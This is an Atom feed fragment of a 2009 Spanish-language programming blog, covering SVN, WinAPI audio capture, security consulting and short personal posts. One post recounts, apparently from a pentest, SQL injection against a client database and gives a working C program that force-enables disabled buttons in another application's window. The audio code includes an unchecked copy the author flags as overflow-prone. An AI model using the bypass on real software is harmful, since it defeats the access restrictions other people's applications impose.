Pre-Alpha fuckers and suckers edition'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-1692106275777185729</id><published>2009-12-28T18:13:00.001-05:00</published><updated>2009-12-28T18:13:56.395-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><category scheme='http://www.blogger.com/atom/ns#' term='General'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Servidor SVN</title><content type='html'>Pos hace ya rato tengo un server SVN, antes lo tenia localmente en Drox ( Lap Toshiba ), y ahora lo pase a la Asus, configure el modem para soportar PPPoE Pass Through y así tener IP publica y poder tanto ofrecer servicios como bajar &lt;strike&gt;porno&lt;/strike&gt; programas e imágenes a toda trola desde torrentz.&lt;br /&gt;&lt;br /&gt;La dinámica de montar un servidor svn se vuelve bastante fácil si usamos Visual SVN Server y Tortoise SVN, así que no les voy a hacer un manual no mamen.&lt;br /&gt;&lt;br /&gt;lo que si no sabia ( que imbécil, asteriscadme ) es que Tortoise soportaba HTTPS, yo solo conocía svn + ssl :P, ya de resto la joda mola mucho cuando ya llevas un proyecto avanzado y te fijas en cuanta sangre has dejado en el ( mis teclas cortan ) así como las estupideces que haces casi a diario xD.&lt;br /&gt;&lt;br /&gt;Ya por otra parte el Visual SVN mola y bastante, aunque no te deja de preocupar el tener un servidor web así como así en tu lap :/ y es por esto que e decidido ver como juackearme el visual svn para clavarle una capa de abstracción y cifrar el código localmente, lo cual sera bastante ineficiente pero probablemente nos protegerá ante posibles problemas futuros; que no quiero ni pensar que pasaría si de un día para otro mi código apareciera en "la Internet" ( quería decirlo xD ) diciendo que es GNU ( Ganas de No Usar la cabeza ).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PD:&lt;/span&gt; Hoy me levante cabreado&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PD2:&lt;/span&gt; Si, cogí el blog de mi diario y que?.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PD3:&lt;/span&gt; Si nos fijamos Facebook, Twitter y en general los blogs son diarios pero menos maricones ( algunos no :S ).&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PD4:&lt;/span&gt; Esto no es word que Ctrl + B le da Bold al asunto xD.&lt;br /&gt;&lt;br /&gt;Recomendación de la Semana: Outtathaway - The vines ( El vídeo mola )&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=XSqDxGe-_9o"&gt;http://www.youtube.com/watch?v=XSqDxGe-_9o&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Joder que se me olvida la tira:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zWBNoSB1aQA/StAw8MZl0zI/AAAAAAAAACo/qQ-7XGkDhdU/s1600-h/48.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 307px; height: 400px;" src="http://4.bp.blogspot.com/_zWBNoSB1aQA/StAw8MZl0zI/AAAAAAAAACo/qQ-7XGkDhdU/s400/48.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5390862564641329970" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-1692106275777185729?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/1692106275777185729/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/servidor-svn.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/1692106275777185729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/1692106275777185729'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/servidor-svn.html' title='Servidor SVN'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_zWBNoSB1aQA/StAw8MZl0zI/AAAAAAAAACo/qQ-7XGkDhdU/s72-c/48.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-5363248213471133630</id><published>2009-12-28T18:12:00.001-05:00</published><updated>2009-12-28T18:12:45.672-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Captura de Audio</title><content type='html'>Bueno comencemos con algo básico, como capturar audio usando opiamente win api; no daré introducciones, no daré nada así que el que no tenga conocimientos básicos o tenga dudas, pues al puto google joder.&lt;br /&gt;Aclarar el que es usando mi clase de captura de audio entonces pos serán "apartes del code".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Primero que todo tenemos que obtener un device para abrirlo y opiamente poder capturar audio; para esto primero debemos seleccionar un formato de captura de audio, en este caso el mas basico PCM.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; WAVEFORMATEX wfeFormat;&lt;br /&gt; CAudioIn *pcaiIn = new CAudioIn;&lt;br /&gt;&lt;br /&gt; memset( &amp;wfeFormat, 0x00, sizeof( WAVEFORMATEX ));&lt;br /&gt;&lt;br /&gt; wfeFormat.wFormatTag  = WAVE_FORMAT_PCM;&lt;br /&gt; wfeFormat.nAvgBytesPerSec = 11025;&lt;br /&gt; wfeFormat.nSamplesPerSec = 11025;&lt;br /&gt; wfeFormat.wBitsPerSample = 8;&lt;br /&gt; wfeFormat.nBlockAlign  = 1;&lt;br /&gt; wfeFormat.nChannels  = 1;&lt;br /&gt;&lt;br /&gt; pcaiIn-&gt;SetWaveFormat( &amp;pFormat );&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Mientras tanto en las entrañas de la clase...&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool CAudioIn::SetWaveFormat( const WAVEFORMATEX *pwfeFormat )&lt;br /&gt;{&lt;br /&gt; if (!pwfeFormat || m_hIn)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; memset( &amp;m_wfeFormat, 0x00, sizeof( WAVEFORMATEX ));&lt;br /&gt; memcpy( &amp;m_wfeFormat, pwfeFormat, sizeof( WAVEFORMATEX ));&lt;br /&gt; &lt;br /&gt; m_uiBlockSize = ((m_wfeFormat.nChannels * (m_wfeFormat.wBitsPerSample/8)) * m_wfeFormat.nSamplesPerSec) / 1;&lt;br /&gt; m_pszUserBuff = new char[m_uiBlockSize];&lt;br /&gt;&lt;br /&gt; if (!m_pszUserBuff) {&lt;br /&gt;  memset( &amp;m_wfeFormat, 0x00, sizeof( WAVEFORMATEX ));&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return (m_bFormat = true);&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Reservamos un buffer interno para ser pasado al usuario con la información de la captura, esto es debido a que no queremos meternos con la info capturada directamente; esto después de calcular el tamaño del buffer en base al formato especificado. Ahora seguramente se preguntaran que es ese ") / 1;" que se ve al calcular el tamaño del buffer necesario; nosotros bien podemos especificarle al device cuantos bytes queremos capturar, de acuerdo a esto si hacemos " / 2" estaremos especificando medio buffer por ende medio segundo de captura.&lt;br /&gt;&lt;br /&gt;Seguidamente obtenemos el device...&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; printf("That the games begins %d\n", pcaiIn-&gt;Start());&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Clase..&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool CAudioIn::Start( void )&lt;br /&gt;{&lt;br /&gt; if (!m_bFormat || m_hIn)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; if (waveInOpen( &amp;m_hIn, WAVE_MAPPER,&lt;br /&gt;     &amp;m_wfeFormat, (DWORD_PTR)WaveInCallBack,&lt;br /&gt;     (DWORD_PTR)this, CALLBACK_FUNCTION) !=  MMSYSERR_NOERROR) {&lt;br /&gt;  m_hIn = NULL;&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (!InitializeWaveBuffers()) {&lt;br /&gt;  waveInClose( m_hIn );&lt;br /&gt;  m_hIn = NULL;&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; m_bRecording = true;&lt;br /&gt;&lt;br /&gt; if (waveInStart( m_hIn ) != MMSYSERR_NOERROR) {&lt;br /&gt;  waveInClose( m_hIn );&lt;br /&gt;  m_hIn = NULL;&lt;br /&gt;  return (m_bRecording = false);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return true;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Y bien acá comprobamos que tengamos un formato seteado, que el descriptor del device no este ya abierto ( m_hIn = HWAVEIN ); posteriormente inicializamos los buffers de captura, que que es eso, pues que no tengamos saltos al capturar el audio, ya que cuando se nos pasa el buffer, nosotros debemos añadir otro( o antes de ) para que siga capturando, entonces si procesamos un buffer a la vez y nos demoramos haciendo algo ya vamos a tener saltos en la captura. Luego de eso si le echamos a capturar con waveInStart.&lt;br /&gt;&lt;br /&gt;Listo supuestamente ya estamos capturando, hemos obtenido el device, y le hemos seteado la flag de que vamos a usar una callback para recibir la informacion; asi que sigamos. Vamos a que ocurre en la callback.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;void CALLBACK WaveInCallBack( HWAVEIN hIn, UINT uiMsg, DWORD_PTR dwInstance, DWORD_PTR dwParam1, DWORD_PTR dwParam2)&lt;br /&gt;{&lt;br /&gt; CAudioIn *pClass = (CAudioIn *)dwInstance;&lt;br /&gt; WAVEHDR whHdr;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; if ( pClass-&gt;m_bRecording &amp;&amp; uiMsg == WIM_DATA) {&lt;br /&gt;  waveInUnprepareHeader( hIn, (WAVEHDR *)dwParam1, sizeof( WAVEHDR ));&lt;br /&gt;&lt;br /&gt;  memcpy( &amp;whHdr, (void *)dwParam1, sizeof( WAVEHDR ));&lt;br /&gt;&lt;br /&gt;  memcpy( pClass-&gt;m_pszUserBuff, whHdr.lpData, whHdr.dwBytesRecorded);&lt;br /&gt;&lt;br /&gt;  whHdr.lpData = pClass-&gt;m_pszUserBuff;&lt;br /&gt;&lt;br /&gt;  pClass-&gt;AddBuffer( (WAVEHDR *)dwParam1 );&lt;br /&gt;&lt;br /&gt;  pClass-&gt;CallCllBck( &amp;whHdr );&lt;br /&gt; }&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Como vemos recibimos el buffer en el parámetro 1 de la callback, luego copiamos la estructura a una "propia" seguidamente la información y sin comprobar tamaño osease vulnerable a buffer overflow ( :O ); cabe recordar, bueno mas bien anotar que bien se puede setear para recibir esto mediante mensajes de ventana con lo cual cualquier app nos puede enviar esto, causarnos un overflow y bla bla bla bla te juackee. Bueno prosigamos, luego de eso añadimos el buffer ( no, no volvemos a reservar memoria, reañadimos el actual, ya que hay otros 7 en orden esperando ), y posteriormente llamamos a la callback de usuario ( especifica de la clase ) para que el haga lo que le salga de los huevos con la info.&lt;br /&gt;&lt;br /&gt;Ya con todo esto no nos queda si no cerrar el device, y es que aca es donde muchos quedan algo perdidos, por que si ni un MVP de microsoft sabe ( Es en serio ); ya que la mayoria de veces se queda capturando audio el muy mamon. Ahora veamos:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;void CAudioIn::Stop( void )&lt;br /&gt;{&lt;br /&gt; m_bRecording = false;&lt;br /&gt;&lt;br /&gt; waveInStop( m_hIn );&lt;br /&gt;&lt;br /&gt; waveInReset( m_hIn );&lt;br /&gt;&lt;br /&gt; Sleep( 500 );&lt;br /&gt;&lt;br /&gt; waveInClose( m_hIn );&lt;br /&gt;&lt;br /&gt; if ( m_pszUserBuff ) {&lt;br /&gt;  delete[] m_pszUserBuff;&lt;br /&gt;  m_pszUserBuff = NULL;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; FreeWaveBuffers();&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Seteamos la flag de "grabando" a falso para que no se llamen mas callbacks de usuario y los buffers sean obviados; acto seguido detenemos la captura, para después llamar a waveInReset, que marcara los buffers pendientes como "procesados" , dormimos 500 ms por que en esta operación se puede tirar un rato y luego si cerramos el device; si no llamamos a waveInReset cuando llamemos a waveInClose fallara con error de que se encuentra aun ocupado. Ya después de esto si podemos eliminar el buffer de usuario y los buffers de captura.&lt;br /&gt;&lt;br /&gt;Hasta acá el post así que ciao.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-5363248213471133630?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/5363248213471133630/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/captura-de-audio.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5363248213471133630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5363248213471133630'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/captura-de-audio.html' title='Captura de Audio'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-7824214886613655814</id><published>2009-12-28T18:10:00.002-05:00</published><updated>2009-12-28T18:16:16.593-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consultoria'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Un juack</title><content type='html'>Despues de una conversacion en MSN con el flaco:&lt;br /&gt;&lt;br /&gt;Bueno pos Iker me contó un juak muy bkno y voy a intentar escribirlo aquí:&lt;br /&gt;&lt;br /&gt;Había una vez un server firewalliado hasta el putas donde todo estaba bien hecho, antes de atacar el server lo que dijeron fue "si no encuentra nada malo, fresh, este server es muy seguro y bla bla bla", efectivamente así fue, contraseñas fuertes, de todo.&lt;br /&gt;&lt;br /&gt;El funcionamiento normal era mediante una petición xml/soap en un web service se descargaba una pequeña app en c#que permitía el manejo de la base de datos en ese server, las credenciales usaban sha1, rsa bien hecho, ksi no habia por donde. Esta aplicación la dio el cliente para no tener q hacer tantas maromas, q aunq son sencillas de hacer, quitan tiempo y dan una mamera.&lt;br /&gt;&lt;br /&gt;Pos sin nada mas q hacer, 7 am con frió y todo un día probando eso (q ya estaba probado y no había nada) en medio del desparche y con un compilador hizo un switch de consultor a hacker.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;* asi que active los controles xD&lt;br /&gt;* no sin antes meterle a todos los campos edit comillas como no pude mas ( por entrada de usuario no se puede, pero programacionalmente si xD ))&lt;br /&gt;* y comenzo esa mierda a caerse xD &lt;br /&gt;* y a clavarle inyecciones SQL a la base de datos remota xD&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pero el cuento no terminó ahí:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#include &lt;cstdio&gt;&lt;br /&gt;#include &lt;cstdlib&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;&lt;br /&gt;#define MAX_CLASS   256&lt;br /&gt;#define MAX_TEXT   9048&lt;br /&gt;#define CLASS_STR   "WindowsForms10.BUTTON.app.0.33c0d9d"&lt;br /&gt;#define PROGRAM_STR   "XXXXXXXXXXXXXXXXXXX"&lt;br /&gt;&lt;br /&gt;BOOL CALLBACK EnumChildProc( HWND hWnd, LPARAM lParam)&lt;br /&gt;{&lt;br /&gt; char szClass[MAX_CLASS + 1];&lt;br /&gt; char szText[MAX_TEXT + 1];&lt;br /&gt; int iAux, iLen;&lt;br /&gt;&lt;br /&gt; if (hWnd == NULL)&lt;br /&gt;  return FALSE;&lt;br /&gt;&lt;br /&gt; memset( szText, 0x00, MAX_TEXT + 1);&lt;br /&gt; memset( szClass, 0x00, MAX_CLASS + 1);&lt;br /&gt;&lt;br /&gt; iLen = GetWindowText( hWnd, szText, MAX_TEXT);&lt;br /&gt; iAux = GetClassName( hWnd, szClass, MAX_CLASS);&lt;br /&gt;&lt;br /&gt; if (iAux &lt;= 0 &amp;&amp; iLen &lt;= 0) {&lt;br /&gt;  printf("Unkownn Control Window Identifier[%X]\r\n", hWnd);&lt;br /&gt;  return TRUE;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; printf("\tControl Class[%s], Text[%s]\r\n", szClass, szText);&lt;br /&gt;&lt;br /&gt; if (iAux &gt; 0 &amp;&amp; (stricmp( szClass, CLASS_STR) == 0)) {&lt;br /&gt;  EnableWindow( hWnd, TRUE);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; EnumChildWindows( hWnd, EnumChildProc, NULL);&lt;br /&gt;&lt;br /&gt; return TRUE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;BOOL CALLBACK EnumMainProc( HWND hWnd, LPARAM lParam)&lt;br /&gt;{&lt;br /&gt; char szText[MAX_TEXT + 1];&lt;br /&gt; int iLen = 0;&lt;br /&gt;&lt;br /&gt; if (hWnd == NULL)&lt;br /&gt;  return FALSE;&lt;br /&gt;&lt;br /&gt; memset( szText, 0x00, MAX_TEXT + 1);&lt;br /&gt;&lt;br /&gt; iLen = GetWindowText( hWnd, szText, MAX_TEXT);&lt;br /&gt;&lt;br /&gt; if (iLen &lt;= 0)&lt;br /&gt;  return TRUE;&lt;br /&gt;&lt;br /&gt; if (stricmp( szText, PROGRAM_STR) != 0)&lt;br /&gt;  return TRUE;&lt;br /&gt;&lt;br /&gt; EnumChildWindows( hWnd, EnumChildProc, NULL);&lt;br /&gt;&lt;br /&gt; return TRUE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main( void )&lt;br /&gt;{&lt;br /&gt; EnumWindows( EnumMainProc, NULL);&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Y lo hermoso: EnableWindow( hWnd, TRUE); (como analogía, funca muy parecido al control.enable de .Net, pero EnableWindow es el papá de los enable xD)&lt;br /&gt;&lt;br /&gt;Conclusión: Acceso total a toda la aplicación, a todos sus controles con todos sus permisos, de ninguna opción a todas las opciones, hasta las ocultas, y voilá, acceso total al sistema :)&lt;br /&gt;&lt;br /&gt;Escrito en: http://foro.colombiaunderground.org/index.php/topic,5124.msg31054/topicseen.html#msg31054&lt;br /&gt;&lt;br /&gt;Pos así sucedió la joda es que no lo cuento yo por que no quiero que se me valla un detalle del cliente o algo que pueda dar idea de quien es la joda :P. Salu2.&lt;br /&gt;&lt;br /&gt;Corrección: No llevaba un día, comencé pruebas a las 7 am ( llegue tarde, era a las 6 am xD ) y termine a las 8:30 am y me jui a mi casa a dormir.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-7824214886613655814?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/7824214886613655814/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/despues-de-una-conversacion-en-msn-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7824214886613655814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7824214886613655814'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/despues-de-una-conversacion-en-msn-con.html' title='Un juack'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-7331909348446962411</id><published>2009-12-28T18:10:00.001-05:00</published><updated>2009-12-28T18:10:49.693-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consultoria'/><title type='text'>Consultoria</title><content type='html'>Básicamente este "articulo" si es que así se le puede llamar, trata sobre lo que es la consultoria en seguridad informática y sobretodo el por que la deje.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Actual Modelo de Consultoria en Seguridad Informática:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El actual modelo de la consultoria en mi modo de ver pretende basarse en el principio de que existen diversos riesgos que pueden ponen en peligro la información del usuario y de la compañía en general, lo que se traduce en perdidas económicas bien sea por robo de información o por perdida de la misma, de igual forma que lo puede constituir una parada del servicio.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Que es lo que esta mal en esto?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Digamos que el concepto como tal no me molesta si no el como aplicar soluciones a este, basado en procedimiento generales que no son ni serán nunca personalizados para las diferentes compañías, en pocas palabras &lt;span style="font-weight:bold;"&gt;"SIEMPRE HACEN LO MISMO"&lt;/span&gt;, esto reditúa en que problemas de la compañía que son y sera específicos para ella no son solucionados.&lt;br /&gt;A que voy con todo esto?, pues que cada red es diferente, ninguna es igual a la otra y por ende todas tienen problemas diferentes, aunque tengan la misma infraestructura sus usuarios y administradores no piensan igual y mucho menos hacen lo mismo; así todas cumplan con los estándares en seguridad y diferentes procedimientos nunca van a ser iguales dos redes.&lt;br /&gt;&lt;br /&gt;Es por todo lo anterior que la consultoria en caso de que quiera seguir vigente tiene que despertar de su letardo, ofrecer nuevos servicios basados en las necesidades de la compañía y sobre todo en las necesidades de la red, no basta con definir un juego de pruebas a realizar y ya, si no realizar un análisis de la red y sus puntos debiles y sobre todo hablar con sus usuarios y administradores para saber exactamente &lt;span style="font-weight:bold;"&gt;que es lo que quieren y que es lo que necesitan&lt;/span&gt;; haciendo esto los problemas de la red en cuestiones técnicas serán fácilmente "diagnosticables" así como los problemas de desempeño y sobre todo "funcionalidad".&lt;br /&gt;&lt;br /&gt;Creo que es claro mi pensamiento y que como se esta viendo hoy en día, las empresas de consultoria en seguridad no van a ningún lado por el miedo a innovar y sobre todo la falta de personal capacitado para ejercer estas labores.&lt;br /&gt;&lt;br /&gt;E dicho y a la chingada al que no le mole.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;"La innovación distingue al líder del seguidor" - Steve Jobs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-7331909348446962411?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/7331909348446962411/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/consultoria.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7331909348446962411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7331909348446962411'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/consultoria.html' title='Consultoria'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-3447428651585012331</id><published>2009-12-28T18:09:00.000-05:00</published><updated>2009-12-28T18:10:15.791-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General'/><title type='text'>El pinche de Az</title><content type='html'>Pos eso, link al emoblog de Az xD.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.codelogman.net/"&gt;http://www.codelogman.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ciao.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-3447428651585012331?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/3447428651585012331/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/el-pinche-de-az.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3447428651585012331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3447428651585012331'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/el-pinche-de-az.html' title='El pinche de Az'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-4274885713544706227</id><published>2009-12-28T18:08:00.002-05:00</published><updated>2009-12-28T18:09:37.146-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Optimizacion vs Claridad del Codigo</title><content type='html'>y Bien, cof cof ( tos intelectual ( risas de fondo ) ) este post se trata de como cambiaron algunas cosas en mi forma de programar :P.&lt;br /&gt;&lt;br /&gt;Antes que todo, una corta introducción:&lt;br /&gt;&lt;br /&gt;Dicese que hace unos años yo era un programador junior noob aficionado, osease lo que programaba era para mi y por mi, y pues no hay jodas con eso, como bien dicen "uno entiende su código y conoce sus mañas", pero de repente un día caperucita roja llamo a mi puerta, me dio una manzana y entre en la matrix, asi que tuve que &lt;strike&gt;putearme&lt;/strike&gt; programar con mas personas o hacer mi código mas "corporativo" a fin de que fuera posible que otros &lt;strike&gt;noobs&lt;/strike&gt; programadores lo pudieran modificar... Fin de la historia( A que mola caperucita ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora a que viene toda esta joda?, pos muy fácil, a que en realidad si se nota un cambio bastante fuerte, al tener yo un estilo bastante criptico y &lt;strike&gt;ahorra lineas&lt;/strike&gt; "optimizado" de programar pues la cosa no le quedaba fácil a los demás; aunque el usar notación húngara siempre daba cierta idea la claridad de un código debe implementarse muy a pesar del usar un poco mas de memoria y que el programa ande un poco mas lento ( no aplica a todos los casos ).&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;PD: Hoy me tope con la etiqueta "strike" xD.&lt;br /&gt;PD2: Este es el primero de una serie de artículos cortos acerca de tu hermana... y tu mama... y vos lector gilipollas.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-4274885713544706227?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/4274885713544706227/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/optimizacion-vs-claridad-del-codigo.html#comment-form' title='0 